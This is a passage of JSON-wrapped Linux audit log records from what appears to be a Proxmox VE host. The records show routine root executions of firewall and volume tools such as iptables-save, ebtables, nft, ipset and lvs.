fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965673.914:66607): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966345058,"@rawstring":"node=pve type=PATH msg=audit(1781966345.058:69367): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985282,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.282:63485): arch=c000003e syscall=59 success=yes exit=0 a0=56a50eb9ed70 a1=56a50ebaab30 a2=56a50eb78680 a3=5 items=2 ppid=60907 pid=60913 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965673.914:66606): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966345053,"@rawstring":"node=pve type=PATH msg=audit(1781966345.053:69366): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.279:63484): arch=c000003e syscall=59 success=yes exit=0 a0=56a4df3a0ac8 a1=7fff8972b040 a2=56a50eb78680 a3=56a4df38424e items=2 ppid=60907 pid=60909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965673906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965673.906:66605): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966345053,"@rawstring":"node=pve type=PATH msg=audit(1781966345.053:69366): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.278:63483): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8972b000 a1=56a50eb9a410 a2=56a50eb78680 a3=5 items=2 ppid=60907 pid=60908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965673906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965673.906:66604): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966344937,"@rawstring":"node=pve type=PATH msg=audit(1781966344.937:69365): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.274:63481): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965673905,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965673.905:66603): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966344937,"@rawstring":"node=pve type=PATH msg=audit(1781966344.937:69365): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985267,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.267:63480): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965668900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965668.900:66602): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966344907,"@rawstring":"node=pve type=PATH msg=audit(1781966344.907:69364): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985261,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.261:63479): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965668900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965668.900:66601): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966344907,"@rawstring":"node=pve type=PATH msg=audit(1781966344.907:69364): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985256,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.256:63478): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60904 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965668900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965668.900:66600): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966341370,"@rawstring":"node=pve type=PATH msg=audit(1781966341.370:69363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.249:63477): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137fa0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60903 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965668.890:66599): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966341370,"@rawstring":"node=pve type=PATH msg=audit(1781966341.370:69363): item=0 name=\"/usr/bin/clear\" inode=260666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.243:63476): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149d60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965668.890:66598): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966341254,"@rawstring":"node=pve type=PATH msg=audit(1781966341.254:69362): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964984941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964984.941:63475): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6740 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965668.890:66597): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966341254,"@rawstring":"node=pve type=PATH msg=audit(1781966341.254:69362): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964984905,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964984.905:63474): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c61c0 a1=64f8d740a210 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60898 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665616,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.616:66596): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966341254,"@rawstring":"node=pve type=PATH msg=audit(1781966341.254:69361): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964981.371:63473): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665605,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.605:66595): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966341254,"@rawstring":"node=pve type=PATH msg=audit(1781966341.254:69360): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964981361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964981.361:63470): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.604:66594): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966341243,"@rawstring":"node=pve type=PATH msg=audit(1781966341.243:69359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964976.350:63467): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.604:66593): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966341243,"@rawstring":"node=pve type=PATH msg=audit(1781966341.243:69359): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964976341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964976.341:63464): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.597:66592): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966341243,"@rawstring":"node=pve type=PATH msg=audit(1781966341.243:69358): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.232:63461): arch=c000003e syscall=59 success=yes exit=0 a0=6496781480a0 a1=649678144e20 a2=649678126680 a3=5 items=2 ppid=60887 pid=60893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665580,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.580:66591): proctitle=\"ip6tables-save\""} {"@timestamp":1781966341243,"@rawstring":"node=pve type=PATH msg=audit(1781966341.243:69357): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.229:63460): arch=c000003e syscall=59 success=yes exit=0 a0=6496455a0ac8 a1=7fffe21fccb0 a2=649678126680 a3=64964558424e items=2 ppid=60887 pid=60889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.564:66590): proctitle=\"iptables-save\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=PATH msg=audit(1781966336.230:69356): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.228:63459): arch=c000003e syscall=59 success=yes exit=0 a0=7fffe21fcc70 a1=64967812d360 a2=649678126680 a3=5 items=2 ppid=60887 pid=60888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.543:66589): proctitle=\"ip6tables-save\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=PATH msg=audit(1781966336.230:69356): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.225:63457): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665532,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.532:66588): proctitle=\"iptables-save\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=PATH msg=audit(1781966336.230:69355): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.219:63456): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.525:66587): proctitle=\"ebtables-restore\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=PATH msg=audit(1781966336.230:69354): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975213,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.213:63455): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60885 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665519,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.519:66586): proctitle=\"ebtables-restore\""} {"@timestamp":1781966336222,"@rawstring":"node=pve type=PATH msg=audit(1781966336.222:69353): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.207:63454): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60884 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665510,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.510:66585): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966336222,"@rawstring":"node=pve type=PATH msg=audit(1781966336.222:69353): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975200,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.200:63453): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60883 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665500,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.500:66584): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966336222,"@rawstring":"node=pve type=PATH msg=audit(1781966336.222:69352): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.197:63452): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e65fb31f740 items=0 ppid=1156 pid=60882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965665493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.493:66583): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966336222,"@rawstring":"node=pve type=PATH msg=audit(1781966336.222:69351): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975195,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.195:63451): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc101440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.485:66582): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966336043,"@rawstring":"node=pve type=PATH msg=audit(1781966336.043:69349): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.191:63450): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1353a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.476:66581): proctitle=697073657400726573746F7265"} {"@timestamp":1781966336043,"@rawstring":"node=pve type=PATH msg=audit(1781966336.043:69349): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975185,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.185:63449): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.463:66580): proctitle=\"ip6tables-save\""} {"@timestamp":1781966336039,"@rawstring":"node=pve type=PATH msg=audit(1781966336.039:69348): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.181:63448): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60879 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.452:66579): proctitle=\"iptables-save\""} {"@timestamp":1781966336039,"@rawstring":"node=pve type=PATH msg=audit(1781966336.039:69348): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.176:63447): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60878 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.446:66578): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966336036,"@rawstring":"node=pve type=PATH msg=audit(1781966336.036:69347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.171:63446): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cb370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965665.438:66577): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966336036,"@rawstring":"node=pve type=PATH msg=audit(1781966336.036:69347): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.165:63445): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 